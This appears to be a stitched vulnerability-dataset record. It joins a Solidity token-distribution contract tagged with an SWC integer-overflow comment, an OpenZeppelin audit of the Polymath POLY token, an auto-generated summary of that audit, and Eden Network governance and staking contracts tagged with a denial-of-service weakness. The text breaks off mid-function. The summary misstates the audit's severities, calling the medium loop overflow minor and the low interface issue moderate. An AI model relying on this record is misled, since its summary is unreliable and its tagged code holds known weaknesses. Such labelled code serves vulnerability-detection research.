AVAILABLE_BONUS2_SUPPLY = AVAILABLE_BONUS2_SUPPLY.sub(_totalAllocated); allocations[_recipient] = Allocation(uint8(AllocationType.BONUS2), startTime + 2 years, startTime + 2 years, _totalAllocated, 0); } else if (_supply == AllocationType.BONUS3) { AVAILABLE_BONUS3_SUPPLY = AVAILABLE_BONUS3_SUPPLY.sub(_totalAllocated); allocations[_recipient] = Allocation(uint8(AllocationType.BONUS3), startTime + 3 years, startTime + 3 years, _totalAllocated, 0); } AVAILABLE_TOTAL_SUPPLY = AVAILABLE_TOTAL_SUPPLY.sub(_totalAllocated); LogNewAllocation(_recipient, _supply, _totalAllocated, grandTotalAllocated()); } /** * @dev Add an airdrop admin */ function setAirdropAdmin(address _admin, bool _isAdmin) public onlyOwner { airdropAdmins[_admin] = _isAdmin; } /** * @dev perform a transfer of allocations * @param _recipient is a list of recipients */ function airdropTokens(address[] _recipient) public onlyOwnerOrAdmin { require(now >= startTime); uint airdropped; //SWC-Integer Overflow and Underflow: L121 for(uint8 i = 0; i< _recipient.length; i++) { if (!airdrops[_recipient[i]]) { airdrops[_recipient[i]] = true; require(POLY.transfer(_recipient[i], 250 * decimalFactor)); airdropped = airdropped.add(250 * decimalFactor); } } AVAILABLE_AIRDROP_SUPPLY = AVAILABLE_AIRDROP_SUPPLY.sub(airdropped); AVAILABLE_TOTAL_SUPPLY = AVAILABLE_TOTAL_SUPPLY.sub(airdropped); grandTotalClaimed = grandTotalClaimed.add(airdropped); } /** * @dev Transfer a recipients available allocation to their address * @param _recipient The address to withdraw tokens for */ function transferTokens (address _recipient) public { require(allocations[_recipient].amountClaimed < allocations[_recipient].totalAllocated); require(now >= allocations[_recipient].endCliff); require(now >= startTime); uint256 newAmountClaimed; if (allocations[_recipient].endVesting > now) { // Transfer available amount based on vesting schedule and allocation newAmountClaimed = allocations[_recipient].totalAllocated.mul(now.sub(startTime)).div(allocations[_recipient].endVesting.sub(startTime)); } else { // Transfer total allocated (minus previously claimed tokens) newAmountClaimed = allocations[_recipient].totalAllocated; } uint256 tokensToTransfer = newAmountClaimed.sub(allocations[_recipient].amountClaimed); allocations[_recipient].amountClaimed = newAmountClaimed; POLY.transfer(_recipient, tokensToTransfer); grandTotalClaimed = grandTotalClaimed.add(tokensToTransfer); LogPolyClaimed(_recipient, allocations[_recipient].AllocationSupply, tokensToTransfer, newAmountClaimed, grandTotalClaimed); } // Returns the amount of POLY allocated function grandTotalAllocated() public view returns (uint256) { return INITIAL_SUPPLY - AVAILABLE_TOTAL_SUPPLY; } // Allow transfer of accidentally sent ERC20 tokens function refundTokens(address _recipient, address _token) public onlyOwner { require(_token != address(POLY)); IERC20 token = IERC20(_token); uint256 balance = token.balanceOf(this); token.transfer(_recipient, balance); } }
Polymath Audit Polymath Audit FEBRUARY 13, 2018 | IN SECURITY AUDITS | BY OPENZEPPELIN SECURITY The Polymath team asked us to review and audit their POLY Token contracts. We looked at the code and now publish our results. The audited code is located in the polymath-token-distribution repository. The version used for this report is commit 672fabe081e8f90ea025252d92c2eb247d60010e . Here is our assessment and recommendations, in order of importance. Update: The Polymath team has followed most of our recommendations and updated the contracts. The new version is at commit 0b47ae467f95a02c6b71421e5816b5d50b698158 . Critical Severity Critical Severity No issues of critical severity. High Severity High Severity No issues of high severity. Medium Severity Medium Severity Possible overflow in loop index variable Possible overflow in loop index variable The airdropTokens function of the PolyDistribution contract takes an array of addresses as a parameter in order to “airdrop” tokens to each of them. To do so, a for loop is used, with an index variable of type uint8 . This will result in an overflow forarrays which have more than 255 addresses. The loop will indefinitely iterate over the first 255 addresses, eventually failing with an out of gas error, wasting gas. Consider using a uint256 variable for the index. Update : Fixed in commit 0b47ae4 . Low Severity Low Severity Incomplete ERC20 Interface Incomplete ERC20 Interface The IERC20 contract defines the basic interface of a standard token to be used by the PolyToken contract. However, this contract doesn’t follow the ERC20 standard which requires for the totalSupply function to be defined in its public interface. We recommend dropping this contract in favor of the ERC20 contract from the OpenZeppelin library. If not, consider adding the missing function to the contract to comply with the standard and making this contract an interface as its name and usage suggests. Update : Contract is now an interface 0b47ae4 . Install OpenZeppelin via NPM Install OpenZeppelin via NPM The SafeMath and Ownable contacts were copied from the OpenZeppelin repository, and PolyToken is a copy of the StandardToken contract. Consider making the PolyToken contract inherit from StandardToken to minimize its logic, and following the recommended way to use OpenZeppelin contracts, which is via the zeppelin-solidity NPM package , allowing for any bugfixes to be easily integrated into the codebase. No Transfer event for minted tokens No Transfer event for minted tokens It is recommended, in the ERC20 spec , to emit a Transfer event with the source ( _from ) set to 0x0 when minting new tokens. This enhances user experience by allowing applications such as Etherscan to learn of the new token holders. In this case this is only relevant for the constructor, where the initial balance is assigned to the distribution contract. Nonetheless, consider emitting the corresponding event: Transfer(0x0, msg.sender, _initialAmount) . Update : Fixed in commit 0b47ae4 . Token distribution address can be null Token distribution address can be null In the PolyToken constructor, the total supply of the token is granted to the _polyDistributionContractAddress , which as its name suggests, it is expected to be the PolyDistribution contract’s address. However, this parameter is never inspected nor validated, allowing it to be the 0x0 address, which would make the contract unusable. This goes against the principle of fail early and loudly . Consider prohibiting the null address as a parameter of the PolyToken constructor. Update : Fixed in commit 0b47ae4 . Notes & Additional Information Notes & Additional Information In the PolyToken and PolyDistribution contracts there are several numbers with too many digits, making them hard to read and error-prone. We recommend replacing them with their scientific notation equivalents. For example, 10e9 for PolyTokens ’s totalSupply . There is a transfer of tokens in the function transferTokens whose return value is unchecked. Even though the token as of now never returns false , it is good practice to not omit the check, as was correctly done in the rest of the contract . ( Update: Fixed in 0b47ae4 .)Conclusion Conclusion No critical or high severity issues were found. Some changes were proposed to follow best practices and reduce potential attack surface. Note that as of the date of publishing, the above review reflects the current understanding of known security patterns as they relate to the POLY Token contracts. We have not reviewed the related Polymath project. The above should not be construed as investment advice. For general information about smart contract security, check out our thoughts here . Security Security Audits Audits If you are interested in smart contract security, you can continue the discussion in our forum , or even better, join the team If you are building a project of your own and would liketo request a security audit, please do so here . RELATED POSTS S S o o l l i i d d i i t t y y C C o o m m p p i i l l e e r r A A u u d d i i t t T h e A u g u r t SECURITY AUDITS Products Contracts Defender Security Security Audits Learn Docs Forum Ethernaut Company Website About Jobs Logo Kit ©2021. All rights reserved | Privacy | Terms of Service
Issues Count of Minor/Moderate/Major/Critical - Minor: 1 - Moderate: 1 - Major: 0 - Critical: 0 Minor Issues - Problem: Possible overflow in loop index variable - Fix: Fixed in commit 0b47ae4 Moderate Issues - Problem: Incomplete ERC20 Interface - Fix: Contract is now an interface 0b47ae4 Major Issues - None Critical Issues - None Observations - Consider making the PolyToken contract inherit from StandardToken to minimize its logic - Consider using the zeppelin-solidity NPM package to use OpenZeppelin contracts - Emit a Transfer event with the source set to 0x0 when minting new tokens Conclusion The Polymath team has followed most of the recommendations and updated the contracts. The new version is at commit 0b47ae467f95a02c6b71421e5816b5d50b698158. Issues Count of Minor/Moderate/Major/Critical - Minor: 1 - Moderate: 1 - Major: 0 - Critical: 0 Minor Issues 2.a Problem: In the PolyToken constructor, the total supply of the token is granted to the _polyDistributionContractAddress, which as its name suggests, it is expected to be the PolyDistribution contract’s address. However, this parameter is never inspected nor validated, allowing it to be the 0x0 address, which would make the contract unusable. 2.b Fix: Consider prohibiting the null address as a parameter of the PolyToken constructor. (Fixed in commit 0b47ae4.) Moderate 3.a Problem: In the PolyToken and PolyDistribution contracts there are several numbers with too many digits, making them hard to read and error-prone. 3.b Fix: Replace them with their scientific notation equivalents. For example, 10e9 for PolyTokens’s totalSupply. Major None Critical None Observations No critical or high severity issues were found. Some changes were proposed to follow best practices and reduce potential attack surface. Conclusion
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IERC20Extended.sol"; import "./lib/SafeERC20.sol"; /** * @title Migrator * @dev Migrate from old token to new token */ contract Migrator { using SafeERC20 for IERC20Extended; /// @notice From token IERC20Extended public immutable fromToken; /// @notice To token IERC20Extended public immutable toToken; /// @notice Event emitted on each migration event Migrate(uint256 amount, address fromToken, address toToken, address migrator); /** * @notice Construct new Migrator * @param _fromToken From token * @param _toToken To token */ constructor(address _fromToken, address _toToken) { fromToken = IERC20Extended(_fromToken); toToken = IERC20Extended(_toToken); } /** * @notice Migrate to new token * @param amount Amount to migrate */ function migrate(uint256 amount) external { _migrate(msg.sender, amount); } /** * @notice Migrate to new token, sending new tokens to specified receiver address * @param receiver Address that will receive new tokens * @param amount Amount to migrate */ function migrateTo(address receiver, uint256 amount) external { _migrate(receiver, amount); } /** * @notice Migrate to new token using permit for approvals * @param amount Amount to migrate * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function migrateWithPermit( uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { fromToken.permit(msg.sender, address(this), amount, deadline, v, r, s); _migrate(msg.sender, amount); } /** * @notice Migrate to new token, sending new tokens to specified receiver using permit for approvals * @param receiver Address that will receive new tokens * @param amount Amount to migrate * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function migrateToWithPermit( address receiver, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { fromToken.permit(msg.sender, address(this), amount, deadline, v, r, s); _migrate(receiver, amount); } /** * @notice Internal implementation of migrate * @param receiver Address that will receive new tokens * @param amount Amount to migrate */ function _migrate(address receiver, uint256 amount) internal { fromToken.safeTransferFrom(msg.sender, address(this), amount); toToken.mint(receiver, amount); emit Migrate(amount, address(fromToken), address(toToken), receiver); } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/ITokenRegistry.sol"; /** * @title TokenRegistry * @dev Registry of tokens that Eden supports as stake for voting power * + their respective conversion formulas */ contract TokenRegistry is ITokenRegistry { /// @notice Current owner of this contract address public override owner; /// @notice mapping of tokens to voting power calculation (formula) smart contract addresses mapping (address => address) public override tokenFormulas; /// @notice only owner can call function modifier onlyOwner { require(msg.sender == owner, "not owner"); _; } /** * @notice Construct a new token registry contract * @param _owner contract owner * @param _tokens initially supported tokens * @param _formulas formula contracts for initial tokens */ constructor( address _owner, address[] memory _tokens, address[] memory _formulas ) { require(_tokens.length == _formulas.length, "TR::constructor: not same length"); for (uint i = 0; i < _tokens.length; i++) { tokenFormulas[_tokens[i]] = _formulas[i]; emit TokenFormulaUpdated(_tokens[i], _formulas[i]); } owner = _owner; emit ChangedOwner(address(0), owner); } /** * @notice Set conversion formula address for token * @param token token for formula * @param formula address of formula contract */ function setTokenFormula(address token, address formula) external override onlyOwner { tokenFormulas[token] = formula; emit TokenFormulaUpdated(token, formula); } /** * @notice Remove conversion formula address for token * @param token token address to remove */ function removeToken(address token) external override onlyOwner { tokenFormulas[token] = address(0); emit TokenRemoved(token); } /** * @notice Change owner of token registry contract * @param newOwner New owner address */ function changeOwner(address newOwner) external override onlyOwner { emit ChangedOwner(owner, newOwner); owner = newOwner; } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IGovernance.sol"; import "./lib/AccessControlEnumerable.sol"; import "./lib/BytesLib.sol"; /** * @title DistributorGovernance * @dev Add or remove block producers from the network and set rewards collectors */ contract DistributorGovernance is AccessControlEnumerable, IGovernance { using BytesLib for bytes; /// @notice Admin governance role bytes32 public constant GOV_ROLE = keccak256("GOV_ROLE"); /// @notice Admin delegator role bytes32 public constant DELEGATOR_ROLE = keccak256("DELEGATOR_ROLE"); /// @notice Mapping of block producer to reward collector mapping (address => address) public override rewardCollector; /// @notice Whitelisted block producers mapping (address => bool) public override blockProducer; /// @dev Packed struct containing rewards distribution details bytes private _rewardSchedule; /// @notice Length of single rewards schedule entry uint256 public constant REWARD_SCHEDULE_ENTRY_LENGTH = 32; /// @notice Only Governance modifier modifier onlyGov() { require(hasRole(GOV_ROLE, msg.sender), "must be gov"); _; } /// @notice Only addresses with delegator role modifier onlyDelegator() { require(hasRole(DELEGATOR_ROLE, msg.sender), "must be delegator"); _; } /// @notice Only addresses with delegator role or block producer modifier onlyDelegatorOrProducer(address producer) { require(hasRole(DELEGATOR_ROLE, msg.sender) || msg.sender == producer, "must be producer or delegator"); _; } /** * @notice Construct a new DistributorGovernance contract * @param _admin Governance admin * @param _blockProducers Initial whitelist of block producers * @param _collectors Initial reward collectors for block producers */ constructor( address _admin, address[] memory _blockProducers, address[] memory _collectors ) { require(_blockProducers.length == _collectors.length, "length mismatch"); _setupRole(GOV_ROLE, _admin); _setupRole(DELEGATOR_ROLE, _admin); _setupRole(DEFAULT_ADMIN_ROLE, _admin); for(uint i; i< _blockProducers.length; i++) { blockProducer[_blockProducers[i]] = true; emit BlockProducerAdded(_blockProducers[i]); rewardCollector[_blockProducers[i]] = _collectors[i]; emit BlockProducerRewardCollectorChanged(_blockProducers[i], _collectors[i]); } } /** * @notice Add block producer to the network * @dev Only governance can call * @param producer Block producer address */ function add(address producer) external onlyGov { require(blockProducer[producer] == false, "already block producer"); blockProducer[producer] = true; emit BlockProducerAdded(producer); } /** * @notice Add batch of block producers to network * @dev Only governance can call * @param producers List of block producers */ function addBatch(address[] memory producers) external onlyGov { for(uint i; i< producers.length; i++) { require(blockProducer[producers[i]] == false, "already block producer"); blockProducer[producers[i]] = true; emit BlockProducerAdded(producers[i]); } } /** * @notice Remove block producer from network * @dev Only governance can call * @param producer Block producer address */ function remove(address producer) external onlyGov { require(blockProducer[producer] == true, "not block producer"); blockProducer[producer] = false; emit BlockProducerRemoved(producer); } /** * @notice Remove batch of block producers from network * @dev Only governance can call * @param producers List of block producers */ function removeBatch(address[] memory producers) external onlyGov { for(uint i; i< producers.length; i++) { require(blockProducer[producers[i]] == true, "not block producer"); blockProducer[producers[i]] = false; emit BlockProducerRemoved(producers[i]); } } /** * @notice Delegate a collector address that can claim rewards on behalf of a block producer * @dev Only delegator admin or block producer can call * @param producer Block producer address * @param collector Collector address */ function delegate(address producer, address collector) external onlyDelegatorOrProducer(producer) { rewardCollector[producer] = collector; emit BlockProducerRewardCollectorChanged(producer, collector); } /** * @notice Delegate collector addresses that can claim rewards on behalf of block producers in batch * @dev Only delegator admin can call * @param producers Block producer addresses * @param collectors Collector addresses */ function delegateBatch(address[] memory producers, address[] memory collectors) external onlyDelegator { require(producers.length == collectors.length, "length mismatch"); // SWC-DoS with Failed Call: L143 - L146 for(uint i; i< producers.length; i++) { rewardCollector[producers[i]] = collectors[i]; emit BlockProducerRewardCollectorChanged(producers[i], collectors[i]); } } /** * @notice Set reward schedule * @dev Only governance can call * @param set Packed bytes representing reward schedule */ function setRewardSchedule(bytes memory set) onlyGov public { _rewardSchedule = set; emit RewardScheduleChanged(); } /** * @notice Get reward schedule entry * @param index Index location * @return Rewards schedule entry */ function rewardScheduleEntry(uint256 index) public override view returns (RewardScheduleEntry memory) { RewardScheduleEntry memory entry; uint256 start = index * REWARD_SCHEDULE_ENTRY_LENGTH; entry.startTime = _rewardSchedule.toUint64(start); entry.epochDuration = _rewardSchedule.toUint64(start + 8); entry.rewardsPerEpoch = _rewardSchedule.toUint128(start + 16); return entry; } /** * @notice Get all reward schedule entries * @return Number of rewards schedule entries */ function rewardScheduleEntries() public override view returns (uint256) { return _rewardSchedule.length / REWARD_SCHEDULE_ENTRY_LENGTH; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./lib/ERC1967Proxy.sol"; /** * @title EdenNetworkProxy * @dev This contract implements a proxy that is upgradeable by an admin, compatible with the OpenZeppelin Upgradeable Transparent Proxy standard. */ contract EdenNetworkProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(admin_); } /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _admin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); Address.functionDelegateCall(newImplementation, data); } /** * @dev Returns the current admin. */ function _admin() internal view returns (address adm) { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { adm := sload(slot) } } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { bytes32 slot = _ADMIN_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newAdmin) } } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal override { require(msg.sender != _admin(), "EdenNetworkProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./lib/Initializable.sol"; /** * @title EdenNetworkManager * @dev Handles updates for the EdenNetwork proxy + implementation */ contract EdenNetworkManager is Initializable { /// @notice EdenNetworkManager admin address public admin; /// @notice EdenNetworkProxy address address public edenNetworkProxy; /// @notice Admin modifier modifier onlyAdmin() { require(msg.sender == admin, "not admin"); _; } /// @notice New admin event event AdminChanged(address indexed oldAdmin, address indexed newAdmin); /// @notice New Eden Network proxy event event EdenNetworkProxyChanged(address indexed oldEdenNetworkProxy, address indexed newEdenNetworkProxy); /** * @notice Construct new EdenNetworkManager contract, setting msg.sender as admin */ constructor() { admin = msg.sender; emit AdminChanged(address(0), msg.sender); } /** * @notice Initialize contract * @param _edenNetworkProxy EdenNetwork proxy contract address * @param _admin Admin address */ function initialize( address _edenNetworkProxy, address _admin ) external initializer onlyAdmin { emit AdminChanged(admin, _admin); admin = _admin; edenNetworkProxy = _edenNetworkProxy; emit EdenNetworkProxyChanged(address(0), _edenNetworkProxy); } /** * @notice Set new admin for this contract * @dev Can only be executed by admin * @param newAdmin new admin address */ function setAdmin( address newAdmin ) external onlyAdmin { emit AdminChanged(admin, newAdmin); admin = newAdmin; } /** * @notice Set new Eden Network proxy contract * @dev Can only be executed by admin * @param newEdenNetworkProxy new Eden Network proxy address */ function setEdenNetworkProxy( address newEdenNetworkProxy ) external onlyAdmin { emit EdenNetworkProxyChanged(edenNetworkProxy, newEdenNetworkProxy); edenNetworkProxy = newEdenNetworkProxy; } /** * @notice Public getter for EdenNetwork Proxy implementation contract address */ function getProxyImplementation() public view returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("implementation()")) == 0x5c60da1b (bool success, bytes memory returndata) = edenNetworkProxy.staticcall(hex"5c60da1b"); require(success); return abi.decode(returndata, (address)); } /** * @notice Public getter for EdenNetwork Proxy admin address */ function getProxyAdmin() public view returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("admin()")) == 0xf851a440 (bool success, bytes memory returndata) = edenNetworkProxy.staticcall(hex"f851a440"); require(success); return abi.decode(returndata, (address)); } /** * @notice Set new admin for EdenNetwork proxy contract * @param newAdmin new admin address */ function setProxyAdmin( address newAdmin ) external onlyAdmin { // bytes4(keccak256("changeAdmin(address)")) = 0x8f283970 (bool success, ) = edenNetworkProxy.call(abi.encodeWithSelector(hex"8f283970", newAdmin)); require(success, "setProxyAdmin failed"); } /** * @notice Set new implementation for EdenNetwork proxy contract * @param newImplementation new implementation address */ function upgrade( address newImplementation ) external onlyAdmin { // bytes4(keccak256("upgradeTo(address)")) = 0x3659cfe6 (bool success, ) = edenNetworkProxy.call(abi.encodeWithSelector(hex"3659cfe6", newImplementation)); require(success, "upgrade failed"); } /** * @notice Set new implementation for EdenNetwork proxy contract + call function after * @param newImplementation new implementation address * @param data Bytes-encoded function to call */ function upgradeAndCall( address newImplementation, bytes memory data ) external payable onlyAdmin { // bytes4(keccak256("upgradeToAndCall(address,bytes)")) = 0x4f1ef286 (bool success, ) = edenNetworkProxy.call{value: msg.value}(abi.encodeWithSelector(hex"4f1ef286", newImplementation, data)); require(success, "upgradeAndCall failed"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/IVotingPowerFormula.sol"; import "./lib/ReentrancyGuardUpgradeable.sol"; import "./lib/PrismProxyImplementation.sol"; import "./lib/VotingPowerStorage.sol"; import "./lib/SafeERC20.sol"; /** * @title VotingPower * @dev Implementation contract for voting power prism proxy * Calls should not be made directly to this contract, instead make calls to the VotingPowerPrism proxy contract * The exception to this is the `become` function specified in PrismProxyImplementation * This function is called once and is used by this contract to accept its role as the implementation for the prism proxy */ contract VotingPower is PrismProxyImplementation, ReentrancyGuardUpgradeable { using SafeERC20 for IERC20; /// @notice restrict functions to just owner address modifier onlyOwner { AppStorage storage app = VotingPowerStorage.appStorage(); require(msg.sender == app.owner, "only owner"); _; } /// @notice An event that's emitted when a user's staked balance increases event Staked(address indexed user, address indexed token, uint256 indexed amount, uint256 votingPower); /// @notice An event that's emitted when a user's staked balance decreases event Withdrawn(address indexed user, address indexed token, uint256 indexed amount, uint256 votingPower); /// @notice An event that's emitted when an account's vote balance changes event VotingPowerChanged(address indexed voter, uint256 indexed previousBalance, uint256 indexed newBalance); /// @notice Event emitted when the owner of the voting power contract is updated event ChangedOwner(address indexed oldOwner, address indexed newOwner); /** * @notice Initialize VotingPower contract * @dev Should be called via VotingPowerPrism before calling anything else * @param _edenToken address of EDEN token */ function initialize( address _edenToken, address _owner ) public initializer { __ReentrancyGuard_init_unchained(); AppStorage storage app = VotingPowerStorage.appStorage(); app.edenToken = IEdenToken(_edenToken); app.owner = _owner; } /** * @notice Address of EDEN token * @return Address of EDEN token */ function edenToken() public view returns (address) { AppStorage storage app = VotingPowerStorage.appStorage(); return address(app.edenToken); } /** * @notice Decimals used for voting power * @return decimals */ function decimals() public pure returns (uint8) { return 18; } /** * @notice Address of token registry * @return Address of token registry */ function tokenRegistry() public view returns (address) { AppStorage storage app = VotingPowerStorage.appStorage(); return address(app.tokenRegistry); } /** * @notice Address of lockManager * @return Address of lockManager */ function lockManager() public view returns (address) { AppStorage storage app = VotingPowerStorage.appStorage(); return app.lockManager; } /** * @notice Address of owner * @return Address of owner */ function owner() public view returns (address) { AppStorage storage app = VotingPowerStorage.appStorage(); return app.owner; } /** * @notice Sets token registry address * @param registry Address of token registry */ function setTokenRegistry(address registry) public onlyOwner { AppStorage storage app = VotingPowerStorage.appStorage(); app.tokenRegistry = ITokenRegistry(registry); } /** * @notice Sets lockManager address * @param newLockManager Address of lockManager */ function setLockManager(address newLockManager) public onlyOwner { AppStorage storage app = VotingPowerStorage.appStorage(); app.lockManager = newLockManager; } /** * @notice Change owner of vesting contract * @param newOwner New owner address */ function changeOwner(address newOwner) external onlyOwner { require(newOwner != address(0) && newOwner != address(this), "VP::changeOwner: not valid address"); AppStorage storage app = VotingPowerStorage.appStorage(); emit ChangedOwner(app.owner, newOwner); app.owner = newOwner; } /** * @notice Stake EDEN tokens using offchain approvals to unlock voting power * @param amount The amount to stake * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function stakeWithPermit(uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant { require(amount > 0, "VP::stakeWithPermit: cannot stake 0"); AppStorage storage app = VotingPowerStorage.appStorage(); require(app.edenToken.balanceOf(msg.sender) >= amount, "VP::stakeWithPermit: not enough tokens"); app.edenToken.permit(msg.sender, address(this), amount, deadline, v, r, s); _stake(msg.sender, address(app.edenToken), amount, amount); } /** * @notice Stake EDEN tokens to unlock voting power for `msg.sender` * @param amount The amount to stake */ function stake(uint256 amount) external nonReentrant { AppStorage storage app = VotingPowerStorage.appStorage(); require(amount > 0, "VP::stake: cannot stake 0"); require(app.edenToken.balanceOf(msg.sender) >= amount, "VP::stake: not enough tokens"); require(app.edenToken.allowance(msg.sender, address(this)) >= amount, "VP::stake: must approve tokens before staking"); _stake(msg.sender, address(app.edenToken), amount, amount); } /** * @notice Stake LP tokens to unlock voting power for `msg.sender` * @param token The token to stake * @param amount The amount to stake */ function stake(address token, uint256 amount) external nonReentrant { IERC20 lptoken = IERC20(token); require(amount > 0, "VP::stake: cannot stake 0"); require(lptoken.balanceOf(msg.sender) >= amount, "VP::stake: not enough tokens"); require(lptoken.allowance(msg.sender, address(this)) >= amount, "VP::stake: must approve tokens before staking"); AppStorage storage app = VotingPowerStorage.appStorage(); address tokenFormulaAddress = app.tokenRegistry.tokenFormulas(token); require(tokenFormulaAddress != address(0), "VP::stake: token not supported"); IVotingPowerFormula tokenFormula = IVotingPowerFormula(tokenFormulaAddress); uint256 votingPower = tokenFormula.convertTokensToVotingPower(amount); _stake(msg.sender, token, amount, votingPower); } /** * @notice Count locked tokens toward voting power for `account` * @param account The recipient of voting power * @param amount The amount of voting power to add */ function addVotingPowerForLockedTokens(address account, uint256 amount) external nonReentrant { AppStorage storage app = VotingPowerStorage.appStorage(); require(amount > 0, "VP::addVPforLT: cannot add 0 voting power"); require(msg.sender == app.lockManager, "VP::addVPforLT: only lockManager contract"); _increaseVotingPower(account, amount); } /** * @notice Remove unlocked tokens from voting power for `account` * @param account The account with voting power * @param amount The amount of voting power to remove */ function removeVotingPowerForUnlockedTokens(address account, uint256 amount) external nonReentrant { AppStorage storage app = VotingPowerStorage.appStorage(); require(amount > 0, "VP::removeVPforUT: cannot remove 0 voting power"); require(msg.sender == app.lockManager, "VP::removeVPforUT: only lockManager contract"); _decreaseVotingPower(account, amount); } /** * @notice Withdraw staked EDEN tokens, removing voting power for `msg.sender` * @param amount The amount to withdraw */ function withdraw(uint256 amount) external nonReentrant { require(amount > 0, "VP::withdraw: cannot withdraw 0"); AppStorage storage app = VotingPowerStorage.appStorage(); _withdraw(msg.sender, address(app.edenToken), amount, amount); } /** * @notice Withdraw staked LP tokens, removing voting power for `msg.sender` * @param token The token to withdraw * @param amount The amount to withdraw */ function withdraw(address token, uint256 amount) external nonReentrant { require(amount > 0, "VP::withdraw: cannot withdraw 0"); Stake memory s = getStake(msg.sender, token); uint256 vpToWithdraw = amount * s.votingPower / s.amount; _withdraw(msg.sender, token, amount, vpToWithdraw); } /** * @notice Get total amount of EDEN tokens staked in contract by `staker` * @param staker The user with staked EDEN * @return total EDEN amount staked */ function getEDENAmountStaked(address staker) public view returns (uint256) { return getEDENStake(staker).amount; } /** * @notice Get total amount of tokens staked in contract by `staker` * @param staker The user with staked tokens * @param stakedToken The staked token * @return total amount staked */ function getAmountStaked(address staker, address stakedToken) public view returns (uint256) { return getStake(staker, stakedToken).amount; } /** * @notice Get staked amount and voting power from EDEN tokens staked in contract by `staker` * @param staker The user with staked EDEN * @return total EDEN staked */ function getEDENStake(address staker) public view returns (Stake memory) { AppStorage storage app = VotingPowerStorage.appStorage(); return getStake(staker, address(app.edenToken)); } /** * @notice Get total staked amount and voting power from `stakedToken` staked in contract by `staker` * @param staker The user with staked tokens * @param stakedToken The staked token * @return total staked */ function getStake(address staker, address stakedToken) public view returns (Stake memory) { StakeStorage storage ss = VotingPowerStorage.stakeStorage(); return ss.stakes[staker][stakedToken]; } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function balanceOf(address account) public view returns (uint256) { CheckpointStorage storage cs = VotingPowerStorage.checkpointStorage(); uint32 nCheckpoints = cs.numCheckpoints[account]; return nCheckpoints > 0 ? cs.checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function balanceOfAt(address account, uint256 blockNumber) public view returns (uint256) { require(blockNumber < block.number, "VP::balanceOfAt: not yet determined"); CheckpointStorage storage cs = 